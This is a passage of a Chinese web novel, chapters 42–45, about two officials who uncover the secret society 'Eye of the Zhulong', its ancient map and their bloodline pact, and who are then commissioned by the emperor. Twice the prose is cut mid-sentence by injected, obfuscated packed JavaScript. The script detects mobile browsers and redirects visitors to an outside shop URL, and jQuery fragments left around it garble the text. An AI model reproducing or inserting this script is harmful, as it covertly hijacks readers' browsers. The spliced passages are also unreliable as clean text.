那是一张残破的地图，材质非纸非绢，触手柔韧冰凉，像是某种兽皮硝制而成。地图大部分已经腐朽，只剩一角还算清晰，上面用暗红色的颜料画着复杂的山川走势，中心处标注了一个眼睛形状的图腾，图腾下方有几个模糊的古文字。 江清砚凝神辨认，缓缓念出:“……龙眠之地？” “陛下请了几位精通古文字的老学士，他们认出了这种文字，是前朝皇室祭祀专用的‘天篆’，”谢云辞压低声音，“那几个字完整的应该是‘烛龙眠息之地’。” 烛龙眠息之地。 这和中年男人说的“上古遗迹”吻合了。 “地图是从哪里找到的？”江清砚问。 “地藏殿佛像的莲座下，有一个暗格，”谢云辞说，“除了这张残图，还有一卷手札，用的是江家特制的药水密写，遇热显形。” 江清砚呼吸一滞:“手札内容……” 谢云辞沉默片刻，才道:“是你父亲留下的。” 房间里突然安静得能听到药炉里炭火轻微的噼啪声。 江清砚闭上眼睛，好一会儿才重新睁开，眼中情绪翻涌，最终归于一片沉静:“写了什么？” “记录了五十年前发生的事，”谢云辞的声音很轻，像是怕惊扰了什么，“和那些人说的大致相同，但细节不同。当年确实有人想打开‘烛龙眠息之地’，但不是皇帝，而是一个自称‘烛龙使者’的神秘组织。他们假传圣旨，煽动当时一位亲王造反，趁乱袭击了江家和谢家，想要夺取两家世代守护的‘钥匙’。” “钥匙是什么？”江清砚追问。 “你父亲没有明说，”谢云辞摇头，“他只写道:‘钥匙非物，乃血脉相承之契。江掌生，谢掌死，阴阳合，方得开。’” 江清砚怔住了。 血脉相承之契……江掌生，谢掌死…… 他猛地看向谢云辞:“难道……” “嗯，”谢云辞点头，目光复杂，“所谓的‘钥匙’，很可能就是江谢两家血脉觉醒者结成的‘共生之契’。” 所以“烛龙之眼”才处心积虑要抓他们。不是为了用他们的血献祭，而是需要他们活着，需要他们保持“共生之契”的状态，才能打开那个地方。 “你父亲在手札最后写道，”谢云辞继续说，“江谢两家先祖曾立誓，世代守护‘烛龙眠息之地’，绝不允许任何人打开。因为那里封存着‘足以倾覆人间的力量’。五十年前，两家宁灭门，也未交出钥匙。” 江清砚的手指微微颤抖。 父母宁死守护的秘密，谢家满门血案的根源，还有那些前赴后继的牺牲……竟然都是为了封印一个所谓的“倾覆人间的力量”。 “陛下……知道这些吗？”他问。 谢云辞点头:“手札和残图都呈给陛下了。陛下看后，沉默了很久，最后只说了一句话:‘此事到此为止，所有相关卷宗封存，任何人不得再查。’” “但那些人不会罢休，”江清砚低声说，“他们谋划了五十年，不会因为一次失败就放弃。” “我知道，”谢云辞握紧他的手，“所以我们要查，但不是明查。陛下封存卷宗，是怕打草惊蛇，也怕朝中还有‘烛龙之眼’的眼线。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863518|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 江清砚明白了。 明面上，慈恩寺的事会被定性为“邪教余孽作乱”，赵元案则是“疯子报复社会”。暗地里，真正的追查才刚刚开始。 “你的伤需要静养，”谢云辞看着他苍白的脸，“陛下准了你一个月的病假。这一个月，你就住在这里，哪里也别去。” 江清砚没有反驳。他清楚自己的身体状况，强行逞能只会拖累谢云辞。 “那你呢？”他问。 “我？”谢云辞扯了扯嘴角，“陛下也给了我半个月的假，让我‘好好养伤’。不过……” “不过什么？” 谢云辞的眼神锐利起来:“不过有些事，不需要等到伤好才能做。” 江清砚立刻明白他的意思——明面上不能查，暗地里可以。谢云辞在六扇门经营多年，有自己的情报网和可信之人。 “小心，”江清砚轻声说，“那些人……很危险。” “我知道，”谢云辞的拇指轻轻摩挲着他的手背，“但有些事，总要有人去做。为了你父母，为了我谢家，也为了……不让那些人得逞。” 两人对视着，都从对方眼中看到了相同的决心。 窗外夜色渐深，星辰渐密。 药炉上的药罐咕嘟咕嘟响起来，药香更浓了。谢云辞起身，用布垫着手取下药罐，将浓黑的药汁倒进碗里。 “该喝药了。”他将药碗端到床边。 江清砚看着那碗散发着苦味的药汁，眉头几不可察地皱了一下。谢云辞捕捉到这个细微的表情，眼底掠过一丝笑意。 “太医开的方子，对你的心脉有好处，”他在床边坐下，舀起一勺药，轻轻吹凉，“我尝过了，不算太苦。” 江清砚看着他自然而然的动作，耳根有些发热:“我自己来……” “你手还抖着，”谢云辞不容拒绝地将勺子递到他唇边，“别逞强。” 江清砚沉默片刻，终究是张开了嘴。 药确实苦，但比想象中好一些，显然是熬煮时加了甘草调和。他一勺一勺地喝完，谢云辞又递来一颗蜜饯。 “含着，去去苦味。” 江清砚接过蜜饯含在嘴里，甜味在舌尖化开，冲淡了药的苦涩。他抬眼看向谢云辞，发现对方正专注地看着自己，眼神温柔得像是能将人溺毙。 “怎么了？”江清砚有些不自在。 “没什么，”谢云辞摇头，伸手替他掖了掖被角，“只是觉得……你能醒过来，真好。” 这句话说得很轻，却重重砸在江清砚心上。 他想起溶洞里谢云辞浑身是血却执刀而立的样子，想起密道中那双紧紧握住自己的手，想起醒来时看到他憔悴不堪却执意守候的模样。 这个人，为了他，可以不要命。 “云辞。”江清砚忽然开口。 “嗯？” “谢谢你。” 谢云辞笑了，那笑容褪去了所有的锋利和冷硬，只剩下纯粹的温柔:“该说谢谢的是我。你救我的次数，我都数不清了。” “那以后就不数了，”江清砚也微微扬起嘴角，“反正……还会很多次。” 谢云辞怔了怔，随即笑出声来。笑声低低的，在安静的房间里回荡，带着劫后余生的释然和某种说不清道不明的暖意。 “好，”他点头，“不数了。” 反正余生还长，他们还会一起经历很多事，救彼此很多次。 药效开始发作，江清砚的眼皮又开始沉重。谢云辞扶他躺好，盖好被子。 “睡吧，”谢云辞的声音像催眠曲，“我在这里。” 江清砚确实累了，但他还是强撑着最后一丝清醒，低声说:“你也去休息。” “我看着你睡着就去。” 江清砚还想说什么，但倦意如潮水般涌来，他终究是抵不过，缓缓闭上了眼睛。 呼吸渐渐均匀绵长。 谢云辞坐在床边，看着江清砚沉睡的侧脸，看了很久很久。月光透过窗纱，在他脸上投下柔和的光晕，长睫在眼下投出淡淡的阴影，安静得像是易碎的瓷器。 但谢云辞知道，这个人骨子里有多坚韧。 他伸手，指尖轻轻拂过江清砚额前的碎发，动作轻柔得如同触碰稀世珍宝。 窗外传来更鼓声，三更天了。 谢云辞却没有起身。他就这样坐着，守着，仿佛要守到地老天荒。 夜色深沉，万籁俱寂。 但在这寂静之下，暗流仍在涌动。京城某处深宅大院里，有人对着烛火，看着手中一枚刻有眼睛图腾的玉佩，低声自语: “江谢两家的血脉，终于又聚在一起了……‘钥匙’已经就位，‘门’也该打开了。” 烛火跳跃，映出一张模糊而苍老的脸。 那双眼睛里，有火焰在燃烧。 43. 第 43 章 第四十三章尘埃落定 晨曦微露时，谢府西厢房的门被轻轻推开。 谢云辞端着药碗和清粥走进来，脚步放得极轻。他肩头的伤经过一夜休养和江清砚的生机梳理，已经好了大半，脸色也比昨日红润了些许。 床榻上，江清砚还在沉睡。晨光透过窗纱，在他脸上镀了一层柔和的金边。他睡得很沉，浓密的长睫在眼下投出浅浅的阴影，呼吸均匀绵长。 谢云辞将托盘放在桌上，坐到床边，没有立刻叫醒他，只是静静地看着。 这三日，他几乎没有合眼。江清砚每一次呼吸的变化，每一次无意识的蹙眉，都牵动着他的心。太医说能醒就是万幸，可人真的醒了，他才发现自己有多害怕——害怕那双清澈的眼睛再也睁不开，害怕那个温润的声音再也听不见。 现在，人好好地躺在这里，呼吸平稳，脉搏有力。谢云辞悬着的心终于落回实处，随之而来的是排山倒海的疲惫。他靠着床柱，闭上眼睛，几乎要睡过去。 就在这时，江清砚的睫毛颤动了一下，缓缓睁开了眼睛。 他的目光先是茫然地落在帐顶，然后慢慢聚焦，转向谢云辞。当看到谢云辞靠着床柱、眼下乌青的憔悴模样时，他眼中闪过一丝心疼。 “……你没休息？”江清砚开口，声音比昨日清亮了些。 谢云辞立刻清醒过来，坐直身体:“醒了？感觉怎么样？” “好多了，”江清砚试图坐起，谢云辞连忙扶他，在他背后垫上软枕，“你呢？伤口还疼吗？” “不疼了。”谢云辞说得轻描淡写，起身去端药碗，“先把药喝了，再吃点粥。太医说你的脾胃虚，不能空腹用药。” 江清砚接过药碗，这一次没有让谢云辞喂，自己慢慢喝完，眉头都没皱一下。谢云辞看在眼里，知道他是怕自己担心，心里又是一暖。 喝完药，江清砚接过清粥，小口小口地吃着，忽然问:“外面……怎么样了？” 他知道谢云辞虽然请了假，但绝不会真的什么都不管。 谢云辞在他床边坐下，神色认真起来:“赵元案结了。刑部和大理寺联名上奏，定性为‘赵元因丧子之痛，心怀怨怼，勾结邪教余孽，构陷朝廷命官，扰乱科场，罪证确凿’。赵元已死，不再追究。他供出的那些官员罪证，陛下已命暗卫秘密核查，属实的会另行处置，但不会与本案并论。” 江清砚手中的勺子顿了顿:“那些官员……” “陛下有陛下的考量，”谢云辞低声道，“一口气处置十几位官员，会引起朝局动荡。暗地里查实了，该贬的贬，该调的调，不动声色地清理掉，比大张旗鼓地审问更稳妥。” 江清砚沉默片刻，点了点头。他明白朝堂之事不是非黑即白，有时候妥协和迂回是必要的。 “那……科举舞弊案呢？”他问，“我的罪名……” “已经洗清了，”谢云辞眼中闪过一丝冷意，“陛下当朝下旨，恢复你的功名，擢升为刑部郎中，正五品。至于陷害你的人——那个邻号考生招了，是受人指使，给了他三百两银子。指使他的人已经抓到，是吏部一个主事，说是看不惯你一个寒门子弟抢了会元的风头。” 这个理由，江清砚自然不信。但他也知道，再查下去，可能又会牵扯出别的事。陛下选择到此为止，他也能理解。 “陛下还赐了你一块匾额，”谢云辞语气轻松了些，“‘清正明鉴’，已经派人送到你……呃，送到这里来了。等你身体好了，再正式谢恩。” 江清砚看向他:“送到这里？” 谢云辞摸了摸鼻子，难得有些窘迫:“陛下知道你现在住在我这儿。他说……‘同命双星’，住在一起也合适。” 江清砚耳根微热，低下头继续喝粥，没接话。 房间里一时安静下来，只有勺碗轻碰的细微声响。 吃完粥，江清砚感觉精神好了许多。他看着窗外透进来的晨光，忽然道:“我想出去走走。” 谢云辞立刻皱眉:“太医说你需要静养——” “就在院子里，”江清砚打断他，“躺了几天，骨头都僵了。晒晒太阳，对恢复也有好处。” 他的眼神清澈而坚持，谢云辞知道拗不过他，只好妥协:“那就一刻钟。披件外袍，别着凉。” 初秋的清晨，空气微凉，带着草木的清新气息。 谢府的院子不大，但布置得很雅致。青石铺地，角落种着几丛翠竹，竹叶上还挂着露珠。院中央有一棵老槐树，树荫下放着石桌石凳。 谢云辞扶着江清砚在石凳上坐下，又转身回屋取了薄毯，盖在他膝上。 “我又不是瓷做的。”江清砚无奈。 “你现在比瓷还脆弱。”谢云辞在他对面坐下，不容置疑。 晨光透过槐树的枝叶洒下，在两人身上投下斑驳的光影。江清砚深吸一口气，感觉胸口的闷痛都缓解了不少。 “那晚在慈恩寺，”他忽然开口，“你进密道后，发生了什么？” 谢云辞神色凝重起来:“密道里布满了机关。箭弩、陷坑、毒烟……还有迷阵。我一路闯过来，杀了十七个人，到最后几乎是凭本能挥刀。” 他说得轻描淡写，但江清砚能想象出其中的凶险。那些黑衣人都是训练有素的死士，谢云辞单枪匹马闯进去，能活着出来已是奇迹。 “那些人……都是‘烛龙之眼’的？”江清砚问。 “应该是，”谢云辞点头，“他们身手诡异，配合默契，不像普通的江湖匪类。而且……”他顿了顿，“他们似乎并不想立刻杀我，而是一路消耗我的体力，想活捉。” 江清砚心下了然。那些人需要活着的谢云辞，需要他们保持“共生之契”的状态。 “溶洞塌了之后，”谢云辞继续说，“陛下派了工部的人去清理，但塌方太严重，至少要一个月才能挖通。不过暗卫在慈恩寺周边又发现了几处密室，里面藏了一些典籍和信物。” “有线索吗？” “有一些，”谢云辞从怀中取出一本薄薄的册子，“这是在方丈禅房暗格里找到的。慈恩寺的方丈，三年前就‘云游’去了，一直没回来。寺里的事务都由监寺打理。而这本册子，记录了一些奇怪的账目。” 江清砚接过册子翻开。上面用蝇头小楷记录着一笔笔收支，时间跨度长达十年。收入项多是“香火钱”“布施”，但数额大得惊人；支出项则很模糊，写着“修缮”“法事”“供奉”等，同样数额巨大。 “这些账目有问题，”江清砚一眼就看出端倪，“慈恩寺虽是古刹，但香火一直不算特别鼎盛。一年能收五千两香火钱顶天了，可这上面记载的，光是去年就有三万两。” “暗卫查了京城几家大钱庄，”谢云辞说，“发现慈恩寺在过去的十年里，通过不同的化名，存入了超过三十万两白银。这些钱大部分又通过复杂的渠道流向了江南、蜀中、岭南等地。” 三十万两！ 江清砚倒吸一口凉气。这绝对不是一个寺庙该有的财富。 “这些钱……是用来资助‘烛龙之眼’的？”他推测。 “很有可能，”谢云辞神色严峻，“陛下已经密令各地暗卫，顺着这些资金流向追查。但对方很谨慎，用了多层掩护，追查起来需要时间。” 江清砚合上册子，眉头紧锁:“一个能调动三十万两白银、渗透到京城古刹、甚至可能朝中也有眼线的组织……他们到底想干什么？真的只是为了打开那个‘烛龙眠息之地’？” 谢云辞沉默片刻，缓缓道:“我父亲生前，曾跟我提过一些事。他说谢家世代镇守边关，不单单是为了抵御外敌，更是为了看守一处‘禁地’。那禁地在北境极寒之处，谢家每代都要派最精锐的子弟去戍守。我十五岁那年，父亲曾带我去过一次，但那地方……我记不清了。” “记不清？”江清砚诧异。 “对，”谢云辞揉了揉太阳穴，“我只记得漫天风雪，一座巨大的冰山，还有……一种说不出的压抑感。之后我就发了三天高烧，醒来后，关于那地方的记忆变得非常模糊。父亲说，那是因为我血脉未觉醒，承受不住禁地的‘威压’。” 血脉觉醒…… 江清砚想起自己心口的青木生机。那是在父母死后，他在密室里独自摸索了三年才勉强唤醒的。按照江家典籍记载，青木生机完全觉醒时，可活死人肉白骨，但也有严苛的条件和巨大的代价。 “难道‘烛龙眠息之地’不止一处？”他推测，“北境有谢家看守的禁地，江南或许也有江家守护的地方？而‘烛龙之眼’想打开的，是其中最关键的一处？” 谢云辞眼神一凛:“有可能。如果真是这样，那他们的布局可能比我们想象的更深、更广。” 两人对视，都感到了事情的严重性。 一个谋划了五十年，财力雄厚，渗透到寺庙甚至朝堂的神秘组织，他们的目标绝不仅仅是打开一个遗迹那么简单。 “陛下知道这些吗？”江清砚问。 “我已经禀报了，”谢云辞说，“陛下听完，沉默了很久，最后只说:‘此事关乎国本，须慎之又慎。你们暗中查访，但切忌打草惊蛇。’” 江清砚明白了。陛下这是默许他们继续查，但要求他们低调行事，不能引起朝野动荡。 “你的身体还需要休养，”谢云辞看着他，“这段时间，你先安心养病。查案的事，我来。” “不行，”江清砚摇头，“‘烛龙之眼’的目标是我们两个人。你单独行动太危险。” “那你——” “我们一起，”江清砚打断他，眼神坚定，“等我能下床走动，我们就一起查。你是明面上的刀，我是暗地里的眼。互相照应，才能走得远。” 谢云辞看着他认真的样子，心中涌起一股暖流。他知道江清砚说得对，两个人在一起，确实比单打独斗更安全，也更有效率。 “好，”他 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两人又坐了一会儿，直到江清砚脸上露出倦色，谢云辞才扶他回屋休息。 刚躺下，门外传来脚步声，然后是亲卫的声音:“大人，宫里有旨，召您即刻入宫。” 谢云辞和江清砚对视一眼。 “应该是为了赵元案的后续，”谢云辞低声道，“我去去就回。你好好休息，不许下床。” 江清砚点头:“小心。” 谢云辞换上官服，匆匆离去。 房间里又安静下来。江清砚躺在床上，却没了睡意。他闭上眼睛，沉入内视，开始有意识地引导青木生机修复受损的心脉。 这一次的伤，比以往任何一次都重。强行施展反向“摄魂引”对精神的损耗，不亚于心疾发作对身体的摧残。他能感觉到，心脉上多了几道细微的裂痕，那是透支生机留下的暗伤。 但他并不后悔。 如果再选一次，他依然会那样做。因为只有那样，才能给谢云辞制造机会，才能两个人一起活着出来。 青木生机如春雨般滋润着心脉，裂痕在缓慢愈合。江清砚能感觉到，这次受伤后，自己对青木生机的掌控似乎更精进了一分——果然，生死之间最能激发潜能。 不知过了多久，门外又传来脚步声。 江清砚以为是谢云辞回来了，睁开眼，却看到一个意料之外的人。 来人四十余岁，面容清癯，身穿青色官袍，头戴乌纱，正是刑部尚书——周文渊。 “江郎中，”周尚书站在门口，神色温和，“听闻你身体不适，本官特来探望。” 江清砚连忙想要起身:“下官惶恐——” “不必多礼，”周尚书摆摆手，走进房间，在桌边坐下，“你伤病在身，躺着就好。” 江清砚半靠在床头，心中疑惑。他与周尚书并无深交，只在金殿自辩时有过一面之缘。这位刑部主官为何亲自前来？ 周尚书似乎看出了他的疑虑，笑了笑:“本官此来，一是探望，二是……有些话想与你说。” 他顿了顿，神色严肃起来:“赵元案已结，科举舞弊案也真相大白。但你可知，为何陛下会如此迅速地结案，甚至不惜压下一些线索？” 江清砚摇头。 “因为朝局不能再乱了，”周尚书压低声音，“春闱刚过，新科进士即将授官。这个时候爆出大规模的科举舞弊和官员贪腐，会让天下士子寒心，也会让朝野动荡。陛下选择快刀斩乱麻，是为了稳定。” “下官明白。”江清砚点头。 “但有些事，不是压下就能解决的，”周尚书话锋一转，“‘烛龙之眼’的存在，陛下已经知晓。这个组织渗透之深，可能超出我们的想象。所以陛下需要一把刀，一双眼睛——一把能斩断黑暗的刀，一双能看透迷雾的眼睛。” 他看着江清砚:“谢云辞是那把刀，而你，就是那双眼睛。” 江清砚心头一震。 “你在金殿上的表现，陛下很欣赏。冷静，理智，善于从细微处发现破绽。这样的人，正是刑部需要的，”周尚书缓缓道，“所以陛下擢升你为刑部郎中，不只是为了补偿，更是要你用你的能力，去查那些藏在暗处的案子。” “下官……才疏学浅，恐难当大任。”江清砚谦道。 “不必过谦，”周尚书摇头，“陛下看人很准。而且……”他意味深长地看着江清砚，“你有谢云辞。他是你最锋利的刀，也是你最坚固的盾。” 江清砚沉默了。 周尚书站起身:“好好养伤。伤好之后，来刑部报到。那里，会有你需要的东西。” 说完，他转身离去，留下江清砚一个人陷入沉思。 窗外，阳光正好。 尘埃虽已落定，但新的征程，才刚刚开始 44. 第 44 章 第四十四章御前抉择 谢云辞入宫时，已是巳时三刻。 秋日的阳光透过宫道两侧高大的梧桐树，洒下斑驳的光影。宫墙深红，琉璃瓦金黄，一切都显得庄严肃穆。但他无心欣赏，步履匆匆，脑中还在思索着皇帝突然召见的缘由。 赵元案已结，科举舞弊案也尘埃落定，按理说该赏的赏、该罚的罚，没什么需要紧急商议的。除非…… 他想到了慈恩寺，想到了那张残图，想到了“烛龙之眼”。 引路的内侍将他带到御书房外，低声道:“谢大人稍候，陛下正在与周尚书议事。” 话音刚落，御书房的门开了。刑部尚书周文渊从里面走出来，看到谢云辞，微微颔首，眼中闪过一丝意味深长的神色，却什么也没说，擦肩而过。 “谢大人，陛下宣您进去。”内侍通报。 谢云辞整理了一下衣冠，迈步而入。 御书房内，龙涎香袅袅。皇帝坐在紫檀木书案后，手中把玩着一枚白玉镇纸，神色看不出喜怒。书案上堆着几叠奏折，最上面那本摊开着，正是刑部和大理寺联名呈报的赵元案结案奏章。 “臣谢云辞，叩见陛下。”谢云辞跪地行礼。 “平身，”皇帝的声音平静，“赐座。” 内侍搬来锦凳，谢云辞谢恩坐下，腰背挺直，目光微垂，等待着皇帝开口。 皇帝没有立刻说话，而是继续把玩着那枚镇纸，目光落在谢云辞身上，像是在审视什么。良久，他才缓缓开口: “你的伤，如何了？” “谢陛下关怀，已无大碍。”谢云辞答道。 “江清砚呢？” “还在休养。太医说需要静养月余。” 皇帝点点头，将镇纸放下，拿起那本奏折:“赵元案，刑部和大理寺呈报结案。你怎么看？” 这个问题很微妙。谢云辞知道，皇帝问的不是案子本身，而是结案的方式和结果。 他斟酌着措辞:“赵元罪证确凿，死有余辜。陛下将此事定性为‘邪教煽动、个人复仇’，既给了天下士子一个交代，又避免了朝局动荡，是稳妥之举。” “稳妥？”皇帝忽然笑了，笑容里带着几分讥诮，“是啊，稳妥。一个谋划了十年，差点掀翻科举体系的大案，最后用一个‘疯子复仇’的理由结案，确实是再稳妥不过了。” 谢云辞心中一凛，不知该如何接话。 皇帝站起身，走到窗边，背对着他:“谢云辞，你知道朕为什么要这么做吗？” “臣愚钝。” “因为朕不能让他们得逞，”皇帝的声音冷了下来，“‘他们’，你懂朕指的是谁。” 谢云辞屏住呼吸。 “慈恩寺的事，周文渊已经禀报了，”皇帝转过身，目光锐利，“‘烛龙之眼’，前朝余孽，谋划了五十年，渗透到寺庙、朝堂，甚至可能连朕的后宫都有他们的眼线。他们想要什么？一个遗迹？一件宝物？还是……这大周的江山？” 最后一句话，字字如冰。 谢云辞立刻起身跪下:“臣誓死守护大周！” “朕知道，”皇帝走回书案后，“所以朕需要你，也需要江清砚。但朕不能明着用你们，因为‘他们’在暗处看着。一旦你们锋芒太露，就会成为靶子。” 他顿了顿，继续道:“所以朕把赵元案压下去，把科举舞弊案轻描淡写地带过，甚至把慈恩寺的事也归为‘邪教作乱’。这一切，都是为了麻痹‘他们’，让他们以为朝廷没有察觉，让他们继续潜伏，露出更多马脚。” 谢云辞明白了。 陛下不是不知道真相，也不是不想追究，而是在下一盘更大的棋。用表面的妥协和退让，换取暗中布局的时间和空间。 “但朕不能一直等，”皇帝话锋一转，“‘烛龙之眼’渗透太深，必须尽早清除。所以朕需要一把刀，一把能斩断这些毒瘤的刀。” 他看向谢云辞:“这把刀，就是你。” 谢云辞抬头，眼中一片坚定:“臣愿为陛下手中利刃，斩尽奸邪！” “好！”皇帝眼中闪过一丝赞赏，“但单有刀还不够，还需要眼睛——一双能看透迷雾、发现蛛丝马迹的眼睛。江清砚，就是这双眼睛。” 谢云辞的心提了起来。他知道皇帝接下来要说什么。 “朕要你们二人，一明一暗，彻查‘烛龙之眼’，”皇帝的声音低沉而有力，“谢云辞，你继续执掌六扇门，明面上查案，吸引他们的注意。江清砚，朕已擢升他为刑部郎中，负责案卷复核和疑案重查。你们一人在明，一人在暗，互相配合，务必将这个毒瘤连根拔起！” “臣遵旨！”谢云辞的声音铿锵有力。 皇帝看着他，神色忽然缓和下来:“但你们要记住，此事凶险万分。‘烛龙之眼’能存在五十年而不灭，其底蕴和手段绝非寻常。你们行事必须慎之又慎，保全自身为上。” “谢陛下关怀。” 皇帝点点头，从书案抽屉里取出一枚令牌，递给谢云辞:“这是‘龙影令’，可调动朕的暗卫，必要时候，也可调遣地方驻军。但非到万不得已，不得动用。明白吗？” 谢云辞双手接过令牌。这令牌通体玄黑，非金非铁，正面雕刻着一条盘旋的龙，背面是一个“影”字。入手沉重冰凉，代表着无上的权力，也代表着沉重的责任。 “臣明白。”他郑重地将令牌收入怀中。 皇帝看着他，忽然问了一个意料之外的问题:“谢云辞，你对江清砚，是什么心思？” 谢云辞浑身一震，猛地抬头。 皇帝的眼神平静，却仿佛能看透人心:“不必隐瞒。那日金銮殿上，你为他挡刀；慈恩寺中，你孤身闯阵；他昏迷三日，你不眠不休守候。这一切，朕都看在眼里。” 谢云辞的喉咙发干，心脏狂跳。他张了张嘴，却不知该如何回答。 承认吗？那是欺君之罪。 否认吗？他做不到。 最终，他垂下头，一字一句道:“臣……心悦于他。” 说完这句话，他闭上了眼睛，等待着雷霆之怒。 但预想中的怒火并没有到来。 皇帝沉默了很久，久到谢云辞几乎要以为时间停滞了。终于，他听到一声轻轻的叹息。 “江谢两家的缘分，果然是天定的。” 谢云辞愕然抬头。 皇帝的眼神有些悠远，像是想起了很久以前的事:“五十年前，江家家主和谢家那位将军，也是如你们这般……生死与共。只可惜，最后……” 他没有说完，但谢云辞已经明白了。 原来江谢两家，早有这样的渊源。 “朕不反对，”皇帝缓缓道，“这世道艰难，能得一知心人相伴，是幸事。但你们要记住，你们的身份，你们的责任。‘烛龙之眼’不会放过你们，朝中那些迂腐的老臣也不会理解你们。前路艰难，你们要互相扶持，更要小心谨慎。” 谢云辞的眼眶忽然有些发热。他重重叩首:“谢陛下成全！” “起来吧，”皇帝摆摆手，“这些话，出了御书房，朕不会再认。你明白吗？” “臣明白。” 皇帝重新坐回龙椅，神色恢复了帝王的威严:“还有一件事。江清砚的身体，太医说需要一味‘龙血芝’做药引，才能彻底根治心疾。此物生长在西南瘴疠之地，极为稀有。朕已经命太医院去寻了，但需要时间。” 谢云辞的心揪了起来:“陛下的意思是……” “在你查案期间，务必保他周全，”皇帝盯着他，“他的青木生机，是克制‘烛龙之眼’某些邪术的关键。他若有事，不仅是你个人的损失，更是大周的损失。” “臣……定护他周全！”谢云辞的声音斩钉截铁。 皇帝点点头，挥手示意他退下。 谢云辞行礼退出御书房，站在宫道上，深吸了一口气。 秋日的阳光温暖，但他却感到肩头的担子重如千钧。 陛下将如此重任托付给他们，是信任，也是考验。而“烛龙之眼”这个对手，比他们想象的更强大，更隐蔽。 但…… 他摸了摸怀中的龙影令，又想起江清砚清澈坚定的眼睛， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863520|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心中忽然涌起一股力量。 无论前路多么艰难，他们都会一起走下去。 回到谢府时，已是午后。 谢云辞没有立刻去见江清砚，而是先回书房，写了几封密信，唤来最信任的亲卫:“即刻送出，务必亲手交到收信人手中。” “是！”亲卫领命而去。 这些信，是发给他在各地安插的眼线和旧部的。既然要查“烛龙之眼”，就必须动用所有的资源。 做完这些，他才走向西厢房。 推开门，江清砚正靠在床头看书。阳光透过窗棂洒在他身上，长睫在眼下投出淡淡的阴影，神情专注而宁静。 听到动静，他抬起头，看到谢云辞，眼中漾开一丝笑意:“回来了？” “嗯，”谢云辞走到床边坐下，很自然地握住他的手，“周尚书来过了？” 江清砚点头，将周尚书的话大致说了一遍。 谢云辞听完，沉默片刻，将御书房的事也告诉了他——除了皇帝问及他们关系的那段。这件事，他想等江清砚身体好了，再找个合适的时机说。 江清砚听完，神色凝重起来:“所以陛下是要我们明修栈道，暗度陈仓？” “可以这么说，”谢云辞点头，“我在明处吸引注意，你在暗处查找线索。但我们不能分开行动，必须互相照应。” 江清砚沉思着:“我在刑部负责案卷复核，这个位置确实很适合查案。历年积案、悬案中，或许就藏着‘烛龙之眼’的蛛丝马迹。” “没错，”谢云辞眼中闪过一丝锐利，“而且刑部掌管天下刑名，各地呈报的奇案、怪案，都要经过刑部复核。如果‘烛龙之眼’在各地有活动，必然会留下痕迹。” 两人对视一眼，都看到了彼此眼中的决心。 “不过在那之前，”谢云辞话锋一转，“你要先把身体养好。太医开的药，要按时喝；该休息的时候，不许再熬夜看书。” 江清砚无奈:“你比太医还啰嗦。” “因为太医不会像我这样担心。”谢云辞说得理所当然。 江清砚耳根微热，移开视线，却也没有反驳。 窗外的阳光渐渐西斜，将房间染成温暖的橙黄色。两人就这样静静坐着，手依然握在一起，谁也没有松开。 “云辞，”江清砚忽然开口，“如果……如果我们查到最后，发现‘烛龙之眼’的势力，比我们想象的更庞大，甚至可能牵扯到……” 他没有说完，但谢云辞明白他的意思。 如果牵扯到皇室，牵扯到那些高高在上的存在，他们该怎么办？ 谢云辞握紧他的手，声音平静却坚定:“那就查到底。无论牵扯到谁，无论面对什么，我们都一起面对。陛下既然将龙影令交给我，就是给了我们最大的支持。” 江清砚看着他眼中不容动摇的决心，心中的不安渐渐平息。 是啊，他们不是孤军奋战。陛下在支持他们，周尚书在支持他们，还有那些隐藏在暗处的、渴望清明朝局的力量，都在支持他们。 “好，”他点头，“那就查到底。” 夕阳彻底沉入地平线，暮色四合。 谢云辞起身点灯，暖黄的光晕在房间里铺开。他回头看向江清砚，发现对方正看着自己，眼神温柔而信赖。 那一瞬间，所有的疲惫和压力都仿佛消失了。 无论前路有多少艰难险阻，只要这个人还在身边，他就有无穷的勇气。 “饿了吗？”谢云辞问，“我让厨房炖了人参鸡汤，对你的身体有好处。” “有点。”江清砚老实承认。 “等着，我去端来。” 谢云辞转身出门，脚步声渐渐远去。 江清砚靠在床头，看着那盏温暖的灯火，嘴角不自觉地扬起。 窗外，秋夜渐深，星辰开始闪烁。 但屋内，暖意正浓。 他们选择的这条路，注定不会平坦。但既然选择了，就会一起走下去。 直到真相大白，直到水落石出。 直到……尘埃彻底落定的那一天。 45. 第 45 章 第四十五章府邸养伤 晨光熹微时，江清砚已经醒了。 他躺在床上，没有立刻起身，而是先沉入内视，感受体内的情况。心脉处的青木生机比昨日又壮大了一分，如同初春的幼苗，虽还纤细，却已展现出顽强的生命力。那些被“阎罗泣”侵蚀留下的暗伤，在生机的滋养下正缓慢愈合。 他睁开眼，侧过头看向窗外。秋日的天空高远澄澈，几缕云丝如白练般飘在天际。院子里传来扫洒的声音，是仆役在清扫落叶。 这里是谢府，谢云辞的府邸。 这个认知让江清砚心中涌起一种奇异的感觉。从小到大，他住过很多地方——江家老宅、密室、客栈、破庙、天牢……但没有一个地方，能让他感到如此安心。 或许是因为，这里有那个人在。 